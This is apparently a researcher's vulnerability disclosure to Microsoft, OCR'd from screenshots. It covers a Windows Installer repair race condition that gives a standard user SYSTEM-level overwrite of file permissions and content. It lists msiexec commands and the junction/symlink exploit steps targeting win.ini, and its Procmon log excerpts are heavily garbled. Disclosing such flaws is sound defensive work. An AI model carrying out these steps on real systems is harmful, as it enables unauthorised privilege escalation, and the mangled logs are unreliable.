MSI - Microsoft Windows Installer Elevation of Privilege

Summary: The Microsoft Windows Installer permits under some circumstances to a “standard user” an arbitrary

permissions and content overwrite with SYSTEM privileges.

( Microsoft Windows Installer: https://docs.microsoft.com/en-us/windows/win32/msi/windows-installer-portal )

Products affected: Windows 10 Enterprise (1903) with latest security update (2019 November patch) and probably
also other versions (not tested). Windows 10 Enterprise - INSIDER PREVIEW (Fast ring) 10.0.19033 - Build 19033

Description:

It is possible and allowed by “Windows Installer service” to install a MSI package as “standard user”.
| have noticed, in my research, that when a “standard user” installs a M S| package, the “Windows Installer
service” triggers some operations with SYSTEM privileges. (see image below from Procmon)
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User Command Line Process Name PID  Operation Date & Time Time of Day Path

in1503dev theuser msiexec /gn /i foo msi 8748 [FhCreateFileMapping 1043172019 11:20:33 AM 11:20:33.9631012 AM C:\Windows'\System32\pcss dil
in1903dev theuser msiexec /gn /i foo.msi 8748 BhCloseFile 10/31/2019 11:20:33 AM 11:20:33.9631944 AM C:\Windows'\System32\pess.dil
in1903dev theuser msiexec /gn /i foo.msi 8748 &F Thread Create 1043172019 11:20:33 AM 11:20:33.9669664 AM

in1903dev theuser msiexec /gn /i foo msi 8748 8% Thread Create 1043172019 11:20:33 AM 11:20:33.96853065 AM

in1903dev theuser msiexec /gn /i foo msi 8748 47 Thread Create 1043172019 11:20:33 AM 11:20:33.9650944 AM
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Going forward with my research | found that, after a package isinstalled on the system, a “standard user” could
force a repair of the product with “/f” command line parameter.

In our case, for example, command “msiexec /qn /fa foo.msi” triggers the repair operation .

With this command I've seen a couple of interesting operations came out that caught my attention.

As SYSTEM, the “Windows Installer service” try to set the permissions of the package files that are going to be
reinstalled.

After that, it read and writes the content of the package files ( stored within msi package ).

See image below from Procmon.

MT AUTHORITY \SYSTEM C:\Windows \system32\msiexec exe /A mSiexec exe 6392 [BhCreateFile \Users'theuser'App Data' Local ‘fakemsi SUCCESS |
MT AUTHORITY \SYSTEM C:\Windows \system32\msiexec exe /V msiexec exe 5392 [BhQueryNetworkOpeninformationFile C:\Users\theuser\AppData’ Local\fakemsi SUCCESS }
MT AUTHORITY \SYSTEM indows\system 32\msiexec exe /V msiexec exe §392 [Bh.CloseFile Users‘theuser'AppData'\Local fakemsi SUCCESS

NT AUTHORITY \SYSTEM indows \system 32\msiexec exe /V msiexec.exe 6392 %Createﬁle \Users‘theuser'App Data‘Local\fakemsi*foo tdt MNAME NOT FOUND |
MT AUTHORITY \SYSTEM indows \system 32\msiexec exe SV meiexec exe 6392 %Createﬁle Ueerstheuser'App Data' Local fakemsi SUCCESS |
MT AUTHORITY \SYSTEM indows \system 32\msiexec exe SV meiexec exe 6392 [ShQueryBasiclrformation File \Uszers'theuser App Data'\Local ‘fakemsi SUCCESS t
MT AUTHORITY'\SYSTEM indows"\system 32\msiexec exe /V msiexec exe 6392 [BhCloseFile \Users'theuserApp Data' Local ‘fakemsi SUCCESS

MT AUTHORITY \SYSTEM “Windows'\system 32\msiexec exe /Y msiexec exe £392 [BhCreateFile ‘\Users\theuser'AppData'\Local fakemsi‘foo b PRIVILEGE NOT HELD |
NT AUTHORITY \SYSTEM indows \system 32\msiexec exe /V msiexec.exe 6392 %Createﬁle WUsers‘theuser'App Data'\Local fakemsi‘foo bt SUCCESS |
MT AUTHORITY \SYSTEM Windows \system 32\msiexec exe NV meiexec exe 6392 acloseﬁle \Users'theuser'App Data' Local fakemsi‘foo tat SUCCESS

MT AUTHORITY \SYSTEM C:\Windows \system 32\msiexec exe /A meiexec exe 6392 [BhCreateFile \Uzers'theuser'App Data\Local ‘fakemsi\foo SUCCESS |
MT AUTHORITY'\SYSTEM C:\Windows\system32\msiexec exe msiexec exe 6392 [BhCreateFile \Users'theuserApp Data' Local‘fakemsi“foo td SUCCESS |
MT AUTHORITY\SYSTEM C:\Windows \system32\msiexec exe /V msiexec exe £392 [Bh SetBasiclnformationFile \Users\theuser\App Data'\Local \fakemsi‘foo t« SUCCESS }
NT AUTHORITY\SYSTEM CWi i MSiEXEC . EXE 6392 &Closeﬁle \Users\theuser'App Data“Local \fakems“foo txt SUCCESS

NT AUTHORITY\SYSTEM

“lsers\theuser\App Data\Local \fakems\foo txt SUCCESS
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MT AUTHORITY \SYSTEM meiexec exe 6392 [ SetEndOfFileinformationFile \Users\theuser\App Data'Local \fakemsi‘foo txt SUCCESS I
MT AUTHORITY'\SYSTEM msiexec exe 6392 [2h SetAllocationinformationFile \Users'theuserApp Data' Local‘fakemsi“foo td SUCCESS Il
MT AUTHORITY\SYSTEM msiexec exe §392 [BhWriteFile ‘\Users\theuser'App Data‘\Local\fakemsi‘foo txt SUCCESS }
MNT AUTHORITY'\SYSTEM msiexec.exe §392 [Bh.ReadFile ‘\Users\theuser'App Data‘\Local\fakemsi*foo txt SUCCESS }
MT AUTHORITY \SYSTEM meiexec exe 6392 %SetBaslclrﬁorrnmlonHIe \Users'theuser\App Data‘\Local \fakemsi‘foo bt SUCCESS (
MT AUTHORITY \SYSTEM indows \system 32\msiexec exe SV meiexec exe 6352 acloseﬁle \Uzers'theuser'App Data\Local ‘fakemsi\foo SUCCESS

MT AUTHORITY'\SYSTEM indows"\system 32\msiexec exe /V msiexec exe 6392 [ShCreateFile \Windows'Installer SUCCESS |
MT AUTHORITY \SYSTEM indows\system 32\msiexec exe /V msiexec exe £392 [BhQueryBasiclnformationFile \Windows'nstaller SUCCESS }

As we can see, the firsttime “Windows Installer service” tries to open one the files impersonating the “standard
user” but as a result it getsa “PRIVILEGE NOT HELD”, then, after that, it closes the file and reopens it as SYSTEM
without impersonating! Afterward it continues to set the permissions of the file as SYSTEM and writes its content.


https://docs.microsoft.com/en-us/windows/win32/msi/windows-installer-portal

This is clearly a point of possible exploitation! In order to obtain the desired a result, a “race condition” has to be
successfully exploited. The “race condition” is going to occur between the moment when “Windows Installer
service” closes the file as “standard user” and reopens it as SYSTEM just before it writes the DACLs and the
content.

Now that the logical workflow seems a little bit clear (I hope), I'll try to describe the steps executed by the exploit.

First of all: I've built a MSI package (foo.msi) that can be installed also as a “standard user”; this means that MSI
service will install all files in C:\Users\[USER]\AppData\Local . In our particular case, I've built this MSI package
which installs only the file “foo.txt” into C:\Users\[USER]\AppData\Local\fakemsi\ directory (C#VS2017 project
will also be sent with this report).

In order to make the MSI package installable by “standard user”, I've run against it the following command:
"C:\Program Files (x86)\Windows Kits\10\bin\10.0.17763.0\x86\Msilnfo.exe"
"C:\temp2\Setup1\Setup1\Debug\foo.msi" -w 10

(Msilnfo belongs to WDK, so watch out for your version

REF : https://docs.microsoft.com/en-us/windows/win32/msi/msiinfo-exe)

These are the steps that the exploit performs:

- Before exploits removes temporary old directories used for junctions.

- Create an empty directory C:\Users\[USER]\foomsi

- Create empty directory C:\Users\[USER]\AppData\Local\fakemsi ; this is the directory that MSI package will
create in order to save “foo.txt” file

- Create ajunctions from C:\Users\[USER]\AppData\Local\fakemsi to C:\Users\[USER]\foomsi (MSI service
will not delete it) so later we can abuse of this junction to gain privileges. That’s a trickie part.

- Create a sort of symbolic link in “\RPC Control” object namespace. This link will be named “foo.txt” and it
points to the file we want to own (c:\windows\win.ini in this case)

- Remove the msi package (even if it doesn’t exist): command “msiexec /gn /i foo.msi”

- Install the msi package: command “msiexec /qn /i foo.msi*“

- Start thread to win the race condition and just after milliseconds triggers Window Installer service with
command “msiexec /qn /fa foo.msi” in order to exploit “setSecurity” operation and win the race.

- Threadstarts watching for C:\Users\[USER]\AppData\Local\fakemsi\foo.txt existance

- Assoon as C:\Users\[USER]\AppData\Local\fakemsi\foo.txt has been renamed by MSI service, and it does
not exist anymore, the exploit will set a reparse point (a junction) from
C:\Users\[USER]\AppData\Local\fakemsi\ to “\RPC Control”

- At this point, MSI service creates again C:\Users\[USER]\AppData\Local\fakemsi\foo.txt , and it will
REPARSE to “\RPC Control” where there is “foo.txt” file that is a link pointing to the targetfile, in this way
it's going to exploit setSecurity operation (we’ll gain file content overwrite too). That’s the core of the race
condition (and of the exploit) that we’ll try to win; matters of milliseconds

- Below a screenshot (from procmon) of a successful exploitation. | have marked all the importation
operations that can be observed:

1) MSl service executes “CreateFile” successfully impersonating “normal” user.

2) Exploit sets mountpoint from C:\Users\[USER]\AppData\Local\fakemsi\ to “\RPC Control”

3) MSI service does a REPARSE to target file (C:\windows\win.ini in this case) and executes “CreateFile”
successfully as SYSTEM user

4) MSl service sets security DACL as SYSTEM ; it gives FULL CONTROL to the “normal” user to the targetfile.
5) MSI service writes content read from “foo.txt” file inside foo.msi package.


https://docs.microsoft.com/en-us/windows/win32/msi/msiinfo-exe

EEH ABRE| ¥ A
User

in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in 1903dev'theuser
INT AUTHORIT\SYSTEM
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
in1903dev'theuser
INT AUTHORIT'\SYSTEM
INT AUTHORITN\SYSTEM
NT AUTHORIT\SYSTEM
INT AUTHORIT'\SYSTEM
INT AUTHORITN\SYSTEM
INT AUTHORITT\SYSTEM
INT AUTHORIT'\SYSTEM
INT AUTHORITN\SYSTEM
INT AUTHORITT\SYSTEM
INT AUTHORIT'\SYSTEM
INT AUTHORITN\SYSTEM
INT AUTHORITT\SYSTEM
INT AUTHORIT'\SYSTEM

<

File Edit Event Filter Tools Options

G5B L M

ZF Process Manitor - Sysinternals: www.sysinternals.com

Help

Command Line

MsiExplot.exe. c:\Windows \win.ni
MsiExplot.exe. ¢:\Windows\win.ni
MsiExplot.exe c:\Windows\winini
MsiExplot.exe. c:\Windows \win.ni
MsiExplot.exe. ¢:\Windows\win.ni
MsiExplot.exe c:\Windows\winini
MsiExplot.exe. c:\Windows \win.ni
MsiExplot.exe. ¢:\Windows\win.ni
MsiExplot.exe c:\Windows\winini
MsiExplot.exe. c:\Windows'winini
MsiExplot.exe. ¢:\Windows\win.ni
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MsiExplot.exe. ¢:\Windows\win.ni
MsiExplot.exe c:\Windows\winini
MsiExplot.exe. c:\Windows'win.ni

MsiExplot.exe.c:\Windows win.r
C:\Windows\system32\msiexec.exe /'
MsiExplot.exe. c:\Windows'win.ni

MsiExplot.exe. ¢:\Windows'win.ni
MsiExplot.exe c:\Windows\winini
MsiExplot.exe. c:\Windows'winini
MsiExplot.exe. ¢:\Windows'win.ni
MsiExplot.exe c:\Windows\winini
MsiExplot.exe. c:\Windows'winini

MsiExplotexe. ¢:\Windows\win.ni

C:\Windows\system32\msiexec.exe /V
C:\Windows\system32\msiexec.cxe /.
C:\Windows\system32\msiexec.zxe /V
Windows \system32\msiexec.exe /¥
Wiindows \system32\msiexec.cxe /¥
Windows\system32\msiexec.ex Y
Windows \system32\msiexec.exe /¥
Wiindows \system32\msiexec.cxe /¥
Windows\system32\msiexec.ex Y
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Wiindows \system32\msiexec.cxe /¥
Windows\system32\msiexec.ex Y

Windows \system32\msiexec.exe /¥
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VsiExplot exe
MsiExcloi exe
MsiExploit exe
VsiExplot exe
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MsiExcloi exe
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MsiExploit exe
VsiExploit exe
MsiExcloi exe
MsiExploit exe
VsiBxploit exe
MsiExcloi exe
MsiExploit exe
VsiBxploit exe
MsiExcloi exe
MsiExploit exe
VsiBxploit exe
MsiExploi exe
‘msiexec exe

siExploit exc
MsiExcloi exe
MsiExploit exe
MsiExploi exe
MsiExcloi exe
MsiExploit exe
MsiExploi exe

W MsiExploit exe

msiexec exe
msiexec exe
msiexec exe
msiexec exe
msiexec exe
msiexec exe
msiexec exe
msiexec exe
msiexec exe
msiexec exe
msiexec exe
msiexec exe
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PID  Operation
CreateFie
CreateFile
CreateFie
CreateFie
CreateFile
CreateFie
CreateFie
CreateFile
CreateFie
CrecteFie
CreateFile
CreateFie
CrecteFie
CreateFile
CreateFie
CrecteFie
CreateFile
CreateFie
CrecteFie
CreateFile
CreateFie
CreateFie

Path Result
Users \theuser foomsifoo b4 NAME NOT FOUND
Users'theuser\foomsi'foo bt REPARSE
Users \theuser'foomsifoo.bd NAME NOT FOUND

Users \theuser foomsifoo b4 REP/

\Users theuser'foomsitfoo bt REP/

0000000 N00N00N0000NNNN0NN0NN00NN000000

Users'theuser\foomsi'foo bt NAME NOT FOUND
Users \theuser'foomsifoo.bd REPARSE
Users \theuser foomsifoo b4 NAME NOT FOUND
Users'theuser\foomsi'foo bt REPARSE
Users \theuser'foomsifoo.bd NAME NOT FOUND
Users \theuser foomsi‘foo bd REPARSE
Users'theuser\foomsi'foo bt NAME NOT FOUND
Users \theuser'foomsifoo.bd REPARSE
Users \theuser foomsi‘foo bd NAME NOT FOUND
Users'theuser\foomsi'foo bt REPARSE
Users \theuser'foomsifoo.bd NAME NOT FOUND
Users \theuser foomsi‘foo bd REPARSE
Users'theuser\foomsi'foo bt NAME NOT FOUND
Users \theuser'foomsifoo.bd REPARSE
Users \theuser foomsi‘foo bd NAME NOT FOUND
Users'theuser\foomsi'foo bt REPARSE
Users \theuser'foomsifoo.bd NAME NOT FOUND

CreateFile Users'theuser foomsi'foo bt NAME NOT FOUND
CreateFie Users'theuser\foomsi'foo b REPARSE
CreateFie \Users theuser foomsi'foo bt NAME NOT FOUND
CreateFile Users'theuser foomsi'foo bt REPARSE
CreateFie Users'theuser\foomsi'foo b NAME NOT FOUND
CreateFie \Users theuser foomsi'foo bt REPARSE
CreateFile Users'theuser foomsi'foo bt NAME NOT FOUND
CreateFie \Users theuseroomsivfoo.txt /] SUCCESS
CreateFie \Userstheuser foomsi'foo bt REPARSE
CreateFle Users'theuser foomsi'foo bt SUCCESS
Users'theuser SUCCESS
CloseFie \Users theuser'foomsi'foo bt SUCCESS
CreateFle Users theuser\AppDatatLocal fakemsi SUCCESS
File SystemControl \Users\theuser\AppDiata‘Local\iakemsi 2 SUCCESS
CloseFie \Users theuser'\AppDataLocal fakemsi SUCCESS
Thread Ext SUCCESS
CloseFie €:\Users\theuser foomsifoo bt SUCCESS
CreateFie C:\Users theuser\AppDatatLocal fakemsi\oo tx REPARSE
CreateFle C:\Windows\win i SUCCESS 3
CreateFie €:\Users theuser\AppDatahLocal fakemsi\ioo tx REPARSE
CreateFie C:\Windows\winini SUCCESS
ini SUCCESS
CloseFie €:\Windowswin.ini SUCCESS
e C:\Windows\win.ini SUCCESS !
et Encor [= ini SUCCESS
i c ini SUCCESS
WiteFie CWindowswinii [ SUCCESS
[= ini SUCCESS
Bh CloseFie €:\Windows \win SUCCESS

Detail o

Desired Aocess: Read Atibutes, Dispostion: Open. Options: Open Reparse: Point, AtribLtes
Desired Access: Read Attrbutes, Dispostion: Open, Options: Open Reparse Point, Attibutes
Desired Access: Read Atrbutes, Dispostion: Open, Options: Open Reparse Point, Aftibuier
Desired Aocess: Read Atibutes, Dispostion: Open. Options: Open Reparse: Point, Atiibutes
Desired Access: Read Attrbutes, Dispostion: Open, Options: Open Reparse Point, Attibutes
Desired Access: Read Atrbutes, Dispostion: Open, Options: Open Reparse Point, Aftibuier
Desired Aocess: Read Atibutes, Dispostion: Open. Options: Open Reparse: Point, Atiibutes
Desired Access: Read Attrbutes, Dispostion: Open, Options: Open Reparse Point, Attibutes
Desired Access: Read Atrbutes, Dispostion: Open, Options: Open Reparse Point, Aftibuier
Desired Aocess: Read Attrbutes, Dispostion: Open. Options: Open Reparse: Point, Altrbutes
Desired Access: Read Attrbutes, Dispostion: Open, Options: Open Reparse Point, Attibutes
Desired Access: Read Atrbutes, Dispostion: Open, Options: Open Reparse Point, Aftibuier
Desired Aocess: Read Attrbutes, Dispostion: Open. Options: Open Reparse: Point, Altrbutes
Desired Access: Read Attrbutes, Dispostion: Open, Options: Open Reparse Point, Attibutes
Desired Access: Read Atrbutes, Dispostion: Open, Options: Open Reparse Point, Aftibuier
Desired Aocess: Read Attrbutes, Dispostion: Open. Options: Open Reparse: Point, Altrbutes
Desired Access: Read Attrbutes, Dispostion: Open, Options: Open Reparse Point, Attibutes
Desired Access: Read Atrbutes, Dispostion: Open, Options: Open Reparse Point, Aftibuier
Desired Aocess: Read Attrbutes, Dispostion: Open. Options: Open Reparse: Point, Altrbutes
Desired Access: Read Attrbutes, Dispostion: Open, Options: Open Reparse Point, Attibutes
Desired Access: Read Atrbutes, Dispostion: Open, Options: Open Reparse Point, Aftibuier
Desired Access: Read Altrbutes, Dispostion: Open. Options: Open Reparse Point, Attrbute
Desired Access: Read Attrbutes, Dispostion: Open, Options: Open Reparse Point, Attibutes
Desired Access: Read Atrbutes, Dispostion: Open, Options: Open Reparse Point, Aftibuier
Desired Access: Read Altrbutes, Dispostion: Open. Options: Open Reparse Point, Attrbute
Desired Access: Read Attrbutes, Dispostion: Open, Options: Open Reparse Point, Attibutes
Desired Access: Read Atrbutes, Dispostion: Open, Options: Open Reparse Point, Aftibuier
Desired Access: Read Altrbutes, Dispostion: Open. Options: Open Reparse Point, Attrbute
Desired Access: Read Attrbutes, Dispostion: Open, Options: Open Reparse Point, Attibutes
Desired Access: Generc Wite, Read Aftibutes, Dispostion: Overwrief, Options: Synchronc
Desired Access: Read Arbutes., Dispostion: Open. Options: Open Reparse: Point, Aftrbute
Desired Access: Read Attrbutes, Dispastion: Open, Options: Open Reparse Point, Attibutes
CreationTime: 10/29/2019 £:26:12 PM, LastAccess Time: 12/4/2019 5:22:54 PM, LasiWike

Desired Access: Generic Read/Wiite, Disposition: Open, Options: Synchronous IO Non-Aler
Control: FSCTL_SET_REPARSE_POINT

Thread ID: 13632, User Time: 0.0156250, Kemel Time: 3.2656250

Desired Access: Generic Wi, Read Aftibutes, Wrke DAC, Wite Owner, Access System S
Desired Access: Generic Wite, Read Attibutes, Wite DAC, Wite Owner, Access System §
Desired Access: Wite Atibutes, Synchronize, Disposiion: Open, Options: Synchronous 10
Desired Access: Wite Atibutes, Synchronize, Dispostion: Open, Options: Synchronous 10
CreationTime: 1/1/1601 12:00:00 AV, LastAcosssTime: 1/1/1601 12:00:00 A, LastWite

Information: Owner, Group, DACL
EndOffile: 7

AlocationSize: 7

Offset: 0, Length: 7. Priorty: Normal

CreationTime: 10/29/2019 4:26:12 PV, LastAcosssTime: 12/4/2019 5:22:54 PM, LastWite

Showing 28,257 of 333,393 events (8.4%)

Backed by virtual memory

This exploit can overwrite DACL of files that are fully owned by SYSTEM.
Most of the times, in my tests, the exploit works at first time... If it doesn’t work at the firsttime, try to re-run

again, it should be work.

| have provided a full working PoC:

Pay attention, all filesin “bin_MsiExploit” need to stay on the same directory. (please read readme.txt inside

zipped file)

All the source code needed:

exploit source code - VS 2017 C++ (src_MsiExploit directory)

msi package source code - VS 2017 C# already provided in previous emails

Screens shots:

Successfully exploitation on Windows 10 Enterprise Insider Preview (Fast ring) 10.0.19033

About Windows.

Microsoft Windows

Windows 10

Version 2004 (OS Build 19033.1)
© 2019 Microsoft Corporation. Al rights reserved,

The Windows 10 Enterprise operating system and ts user interface are

protected by trademark and other pencing or

ing intellectual property

Fohs n the United Sttes nd ofhr couniieshegions

This product i licensed under the

Terms to:
user name
org name
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A[File Edit View Help

system summary]| ftem
- Harcware Res|| o5 name
- Components
- Software Envil

Version

Other OS Description

05 Manufacturer

System Name

System Manufacturer
System Madel

System Type

System SKU

Processor

BIOS Version/Date
SMBIOS Version
Embedded Controller Version
BIOS Mode

BaseBoard Manufacturer
BaseBoard Product
BaseBoard Version
Platform Role

Secure Boot State

PCRY Configuration
Windows Directary
System Directory

Boot Device

Locale

Hardware Abstraction Layer
User Name

Time Zone

Installed Physical Memory (RAM)
Total Physical Memory
Available Physical Memory
Total Virtual Memory
Available Virtual Memory
Page File Space

Page File

Kernel DM Protection

Virtualization-based security

Virtualization-based security Av.
Virtualization-based security Se

Virtualization-based security Se
< > <

Virtualization-based security Re...

Walue

Microsoft Windows 10 Enterprise
10.0.19033 Build 19033

Not Available

Microsoft Carporation

win-1903-clean

Microsoft Carporation

Virtual Machine
x64-based PC
None

Intel(R) Xeon(R) CPU ES-2673 u4 @ 2.30GHz, 2205 Mhz, 1 Core(s), 2 Logical Processor(s)
Microsoft Corporation Hyper-V UEF| Release v2.0, £/26/2016

24
355.255
UEFI

Microsoft Corporation

Virtual Machine

Hyper-V UEF| Release v2.0

Deskiop
off

Binding Not Possible

CAWINDOWS

CAWINDOWS\system32
\Device\HarddiskVolume3

United States

Version = "10.0.19033.1"

Not Available

Coordinated Universal Time

8.00 GB

8.00 GB
5.35GB

9.25 GB

6.78 GB
125GB
Di\pagefile.sys
off

Running

Base Virtualization Support, UEFI Code Readonly

Findl what [




Conclusions:
| think that bug stands behind anincorrect impersonated operation when it comes to write the DACLs.

Best Regards,
Christian Danieli (@padovah4ck)



